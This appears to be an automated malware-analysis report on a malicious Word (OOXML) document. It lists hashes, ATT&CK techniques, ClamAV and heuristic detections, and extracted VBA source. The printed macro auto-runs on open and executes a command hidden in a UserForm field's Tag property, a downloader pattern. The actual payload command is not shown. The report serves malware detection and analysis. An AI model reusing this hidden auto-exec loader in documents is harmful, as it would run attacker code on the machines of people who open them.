Office (OOXML) malware analysis — malicious · 2fce3e8f0241b032

MALICIOUS

Office (OOXML)

18.0 KB Created: 2021-06-25 09:12:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-07-02

MD5: 115e9ecf22caceda059622269f8d8e90 SHA-1: b2e52427689b7d8e22aa57df3fc6f20759f2a11f SHA-256: 2fce3e8f0241b0329c93a80385166db7360fd59761aefc7d8cd6972890700104

246 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically triggering Auto_Open, AutoOpen, and Workbook_Open events. The Auto_Open subroutine uses CreateObject to instantiate a Windows Script Host object and then executes a command specified by UserForm1.TextBox1.Tag, likely downloading and running a second-stage payload. This behavior is consistent with a macro-based downloader.

Heuristics 8

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Sub Auto_Open()
Set wsh = CreateObject(UserForm1.TextBox1.ControlTipText)
MsgBox (wsh.Run(UserForm1.TextBox1.Tag))

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Sub
Sub AutoOpen()
Auto_Open
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
End Sub
Sub Workbook_Open()
Auto_Open
```

Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro

Matched line in script

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Set wsh = CreateObject(UserForm1.TextBox1.ControlTipText)

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	889 bytes
SHA-256: `39da1468e9896ea07d9b3fdba3fbafe195a8d8423210b677ae5d32b9aad8c74c`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "NewMacros" Sub Auto_Open() Set wsh = CreateObject(UserForm1.TextBox1.ControlTipText) MsgBox (wsh.Run(UserForm1.TextBox1.Tag)) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Attribute VB_Name = "UserForm1" Attribute VB_Base = "0{1BAF770D-52CA-481C-A860-A0CB5508355B}{5BC3C646-F90B-40B7-B821-740024F8231C}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	19456 bytes
SHA-256: `48bcd41b3c838a2841cc4311058014939f69c863159425f9436eefddc394c6cf`
Detection ClamAV: Doc.Downloader.Generic-6698421-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.